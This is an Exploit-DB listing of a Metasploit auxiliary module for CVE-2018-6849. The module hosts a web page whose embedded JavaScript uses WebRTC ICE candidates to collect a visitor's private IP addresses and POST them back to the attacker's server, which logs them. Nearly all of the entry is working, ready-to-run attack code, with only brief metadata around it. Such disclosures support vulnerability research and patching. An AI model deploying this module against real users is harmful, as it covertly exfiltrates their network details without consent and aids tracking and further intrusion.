WebRTC - Private IP Leakage (Metasploit)

EDB-ID: 44403
Author: Dhiraj Mishra
Published: 2018-04-05
CVE: CVE-2018-6849
Type: Webapps
Platform: Multiple
Vulnerable App: N/A

 # This module requires Metasploit: https://metasploit.com/download 
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(
update_info(
info,
'Name' => "Private IP Leakage to WebPage using WebRTC Function.",
'Description' => %q(
This module exploits a vulnerability in browsers using well-known property of WebRTC (Web Real-Time Communications) which enables Web applications and sites to capture or exchange arbitrary data between browsers without requiring an intermediary.
),
'License' => MSF_LICENSE,
'Author' => [
'Brendan Coles', #MSF Module
'Dhiraj Mishra' #MSF Module
],
'References' => [
[ 'CVE', '2018-6849' ],
['URL', 'https://datarift.blogspot.in/p/private-ip-leakage-using-webrtc.html']
],
'DisclosureDate' => 'Jan 26 2018',
'Actions' => [[ 'WebServer' ]],
'PassiveActions' => [ 'WebServer' ],
'DefaultAction' => 'WebServer'
)
)
end

def run
exploit # start http server
end

def setup
# code from: https://github.com/diafygi/webrtc-ips
@html = <<-JS
<script>
//get the IP addresses associated with an account
function getIPs(callback){
var ip_dups = {};

//compatibility for firefox and chrome
var RTCPeerConnection = window.RTCPeerConnection
|| window.mozRTCPeerConnection
|| window.webkitRTCPeerConnection;
var useWebKit = !!window.webkitRTCPeerConnection;

//bypass naive webrtc blocking using an iframe
if(!RTCPeerConnection){
//NOTE: you need to have an iframe in the page right above the script tag
//
//<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>
//<script>...getIPs called in here...
//
var win = iframe.contentWindow;
RTCPeerConnection = win.RTCPeerConnection
|| win.mozRTCPeerConnection
|| win.webkitRTCPeerConnection;
useWebKit = !!win.webkitRTCPeerConnection;
}

//minimal requirements for data connection
var mediaConstraints = {
optional: [{RtpDataChannels: true}]
};

var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};

//construct a new RTCPeerConnection
var pc = new RTCPeerConnection(servers, mediaConstraints);

function handleCandidate(candidate){
//match just the IP address
var ip_regex = /([0-9]{1,3}(\\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/
var ip_addr = ip_regex.exec(candidate)[1];

//remove duplicates
if(ip_dups[ip_addr] === undefined)
callback(ip_addr);

ip_dups[ip_addr] = true;
}

//listen for candidate events
pc.onicecandidate = function(ice){

//skip non-candidate events
if(ice.candidate)
handleCandidate(ice.candidate.candidate);
};

//create a bogus data channel
pc.createDataChannel("");

//create an offer sdp
pc.createOffer(function(result){

//trigger the stun server request
pc.setLocalDescription(result, function(){}, function(){});

}, function(){});

//wait for a while to let everything done
setTimeout(function(){
//read candidate info from local description
var lines = pc.localDescription.sdp.split('\\n');

lines.forEach(function(line){
if(line.indexOf('a=candidate:') === 0)
handleCandidate(line);
});
}, 1000);
}

getIPs(function(ip){
//console.log(ip);
var xmlhttp = new XMLHttpRequest;
xmlhttp.open('POST', window.location, true);
xmlhttp.send(ip);
});
</script>
JS
end

def on_request_uri(cli, request)
case request.method.downcase
when 'get'
print_status("#{cli.peerhost}: Sending response (#{@html.size} bytes)")
send_response(cli, @html)
when 'post'
print_status("#{cli.peerhost}: Received reply:")
puts request.to_s
else
print_error("#{cli.peerhost}: Unhandled method: #{request.method}")
end
end
end

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